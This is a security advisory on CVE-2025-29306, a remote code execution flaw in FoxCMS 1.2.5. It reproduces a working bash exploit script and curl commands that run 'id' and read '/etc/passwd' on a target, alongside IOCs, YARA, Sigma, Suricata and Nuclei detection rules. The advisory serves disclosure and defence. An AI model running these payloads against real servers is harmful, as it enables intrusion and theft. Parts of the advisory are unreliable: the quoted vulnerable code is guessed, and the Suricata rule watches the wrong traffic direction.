CVE-2025-29306

Executive Summary

CVE-2025-29306 is a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting FoxCMS version 1.2.5. The flaw resides in the index.html component within the /images/ directory, where the id parameter is improperly sanitized, allowing for the injection of arbitrary PHP code via expression language syntax. An attacker can execute system commands without authentication, leading to full server compromise, data exfiltration, and potential lateral movement. The vulnerability has a CVSS score of 9.8 (Critical) and a high EPSS score of 84.36%, indicating active exploitation in the wild. Public proof-of-concept (PoC) code and a Nuclei template are available, making this a high-priority threat.

Supply Chain & Package Security

FoxCMS is a proprietary content management system. No official patch or updated version has been released. The software is not distributed via public package registries (NPM, PyPI, etc.), but users should verify the integrity of any downloaded binaries or source code from the vendor's website. The lack of a patch places the burden of mitigation on the end-user.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides complete control over the target server.

Deep Dive & Mechanics

The vulnerability is a classic case of Code Injection (CWE-94). The index.html file in the /images/ directory of FoxCMS v1.2.5 processes the id GET parameter without proper sanitization or validation. The application appears to evaluate the parameter value within a PHP expression language context, likely using eval() or a similar function.

The exploit payload uses PHP's expression language syntax: ${@print_r(@system("command"))}. When this string is passed as the id parameter, the server interprets it as PHP code, executing the system() function with the attacker-controlled command. The print_r() function is used to output the result, which is then reflected in the HTTP response.

Key Technical Details:

• Vulnerable Endpoint: /images/index.html?id=<PAYLOAD>
• Payload Structure: ${@print_r(@system("COMMAND"))}
• URL Encoding: The payload must be URL-encoded. For example, ${ becomes %24%7B.
• Command Execution: The output of the command is embedded within the HTML response, typically inside a <ul> element.

The Nuclei template confirms the vulnerability by sending a request with the id command and matching the response for uid=... or root:... patterns.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS v1.2.5): The vulnerable code is likely within the index.html file or a related PHP handler that processes the id parameter. A simplified representation:

// Vulnerable: Direct evaluation of user input
$id = $_GET['id'];
eval("\$result = \"$id\";"); // Or similar expression evaluation
echo $result;

Patched Code (Hypothetical): A secure implementation would sanitize the input and avoid dynamic evaluation:

// Patched: Input validation and safe handling
$id = $_GET['id'];
if (ctype_digit($id)) {
    // Process as integer
    $result = getCaseById((int)$id);
    echo htmlspecialchars($result, ENT_QUOTES, 'UTF-8');
} else {
    // Reject invalid input
    http_response_code(400);
    echo "Invalid parameter.";
}

Key Differences:

• Input Validation: The patched version validates that the id parameter is a numeric value.
• No Dynamic Evaluation: The patched version does not use eval() or any expression language that could execute arbitrary code.
• Output Encoding: The patched version uses htmlspecialchars() to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running FoxCMS v1.2.5
• Network access to the /images/index.html endpoint
• Python3 and curl installed on the attacker machine

Exploit Usage (Exploit-DB Script):

The provided exploit script automates the exploitation process.

1. Save the exploit script as CVE-2025-29306.sh.
2. Make it executable: chmod +x CVE-2025-29306.sh
3. Run the exploit:

   ./CVE-2025-29306.sh http://target.com/images/index.html "id"
   

   This will execute the id command on the target and display the output.

Manual Exploitation with curl:

# Execute 'id' command
curl -s "http://target.com/images/index.html?id=%24%7B%40print_r%28%40system%28%22id%22%29%29%7D"

# Execute 'cat /etc/passwd'
curl -s "http://target.com/images/index.html?id=%24%7B%40print_r%28%40system%28%22cat%20/etc/passwd%22%29%29%7D"

Full Exploit-DB Code:

# Date: 2025-04-17
# Exploit Title:
# Exploit Author: VeryLazyTech
# Vendor Homepage: https://www.foxcms.org/
# Software Link: https://www.foxcms.cn/
# Version: FoxCMS v.1.2.5
# Tested on: Ubuntu 22.04, Windows Server 2019
# CVE: CVE-2025-29306
# Website: https://www.verylazytech.com

#!/bin/bash

banner() {
cat <<'EOF'
  ______     _______   ____   ___ ____  ____    ____   ___ _____  ___   __
 / ___\ \   / / ____| |___ \ / _ \___ \| ___|  |___ \ / _ \___ / / _ \ / /_
| |    \ \ / /|  _|     __) | | | |__) |___ \    __) | (_) ||_ \| | | | '_ \
| |___  \ V / | |___   / __/| |_| / __/ ___) |  / __/ \__, |__) | |_| | (_) |
 \____|  \_/  |_____| |_____|\___/_____|____/  |_____|  /_/____/ \___/ \___/

__     __                _                      _____         _
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/


                    @VeryLazyTech - Medium

EOF

}

# Call the banner function
banner

set -e

# Check for correct number of arguments
if [ "$#" -ne 2 ]; then
    printf "Usage: $0 <url> <command>"
    exit 1
fi

TARGET=$1

# Encode payload
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
FULL_URL="${TARGET}?id=${ENCODED_CMD}"

echo "[*] Sending RCE payload: $2"
HTML=$(curl -s "$FULL_URL")

# Extract <ul> from known XPath location using xmllint
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)

# Strip tags, clean up
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')

echo
echo "[+] Command Output:"
echo "$CLEANED"

Blue Team

Lab Setup:

1. Deploy a vulnerable FoxCMS v1.2.5 instance on an isolated network.
2. Use a web application firewall (WAF) like ModSecurity or a cloud WAF (e.g., Cloudflare) to test detection rules.
3. Set up a SIEM (e.g., Splunk, ELK) to ingest web server logs.
4. Deploy an EDR solution on the target server.

Detection Steps:

1. Monitor Web Logs: Look for GET requests to /images/index.html with an id parameter containing URL-encoded characters like %24%7B or %40system.
2. WAF Rules: Block requests to /images/index.html with suspicious id parameter values.
3. Network Traffic: Monitor for outbound connections from the web server to unknown IPs (potential reverse shell).
4. File Integrity Monitoring: Monitor for changes to web-accessible files, especially in the /images/ directory.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /images/index.html with an id parameter containing %24%7B or %40system.
• Response bodies containing uid=... or root:... patterns.
• Outbound connections from the web server to attacker-controlled IPs on common ports (4444, 8080, etc.).

File System IOCs:

• Unexpected files in the web root (e.g., /var/www/html/shell.php).
• Modified or new files in the /images/ directory.
• Presence of web shells or backdoors.

Process IOCs:

• Unusual processes spawned by the web server user (e.g., www-data running bash, nc, python).
• High CPU or memory usage from web server processes.

Log IOCs:

• Web server access logs showing the exploit pattern.
• System logs (e.g., /var/log/auth.log) showing failed login attempts or privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2025_29306_FoxCMS_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2025-29306 in FoxCMS"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-29306"
        severity = "critical"
    strings:
        $payload1 = "%24%7B%40print_r%28%40system%28%22" ascii wide
        $payload2 = "${@print_r(@system(" ascii wide
        $cmd_id = "id" ascii wide
        $cmd_passwd = "cat /etc/passwd" ascii wide
        $response_uid = /uid=[0-9]+\(\\w+\) gid=[0-9]+\(\\w+\)/ ascii
        $response_root = "root:.*:0:0:" ascii
    condition:
        any of ($payload*) or (any of ($cmd*) and any of ($response*))
}

Sigma Rule

title: FoxCMS CVE-2025-29306 RCE Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the FoxCMS RCE vulnerability (CVE-2025-29306)
author: Valters IT
date: 2025-04-17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29306
    - https://github.com/verylazytech/CVE-2025-29306
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/images/index.html'
        cs-uri-query|contains: 
            - '%24%7B%40print_r%28%40system%28%22'
            - '${@print_r(@system("'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-29306 FoxCMS RCE Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/images/index.html";
    http_uri;
    content:"%24%7B%40print_r%28%40system%28%22";
    http_uri;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-29306;
    reference:url,https://github.com/verylazytech/CVE-2025-29306;
)

Nuclei Template

id: CVE-2025-29306

info:
  name: FoxCMS v.1.2.5 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.
  impact: |
    Unauthenticated attackers can execute arbitrary code through the id parameter in the index.html component, leading to complete server compromise.
  remediation: |
    Update to the latest version of FOXCMS if available. If no patch is available,implement WAF rules to block malicious requests to the /images/index.html endpoint with suspicious 'id' parameter values.
  reference:
    - https://github.com/verylazytech/CVE-2025-29306/blob/main/CVE-2025-29306.sh
    - https://medium.com/@verylazytech
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29306
  classification:
    epss-score: 0.8436
    epss-percentile: 0.99325
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-29306
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    fofa-query: (body="foxcms-logo" || body="foxcms-container") && body="div"
    google-query: intitle:"FOXCMS" intext:"foxcms-logo"
    shodan-query: html:"foxcms-logo"
  tags: cve,cve2025,rce,foxcms,unauth,oast,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/images/index.html?id=%24%7B%40print_r%28%40system%28%22{{command}}%22%29%29%7D"

    payloads:
      command:
        - "id"
        - "cat /etc/passwd"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+\\(\\w+\\) gid=[0-9]+\\(\\w+\\)"
          - "root:.*:0:0:"
        condition: or

      - type: word
        part: body
        words:
          - "foxcms"
        case-insensitive: true

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect the FoxCMS server from the network until a patch is applied.
2. Web Application Firewall (WAF): Deploy or update WAF rules to block requests to /images/index.html with suspicious id parameter values. Block patterns containing %24%7B or ${@print_r.
3. Input Validation: If you have access to the source code, implement strict input validation on the id parameter. Only allow numeric values.
4. Disable Unnecessary Features: If the /images/index.html endpoint is not required, remove or disable it.

Long-Term Actions:

1. Vendor Patch: Monitor the FoxCMS vendor website for an official patch. Apply it immediately when available.
2. Upgrade: Consider migrating to a different, actively maintained CMS.
3. Security Hardening: Implement the principle of least privilege for the web server user. Disable dangerous PHP functions like system(), exec(), and eval() in php.ini.
4. Regular Audits: Conduct regular security audits and penetration testing on web applications.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further inquiries, contact us at [Secure Channels (Signal / Portal)](mailto:Secure Channels (Signal / Portal)).

{/* [Security Hash: F301843F9603A3AB0320AF34] */}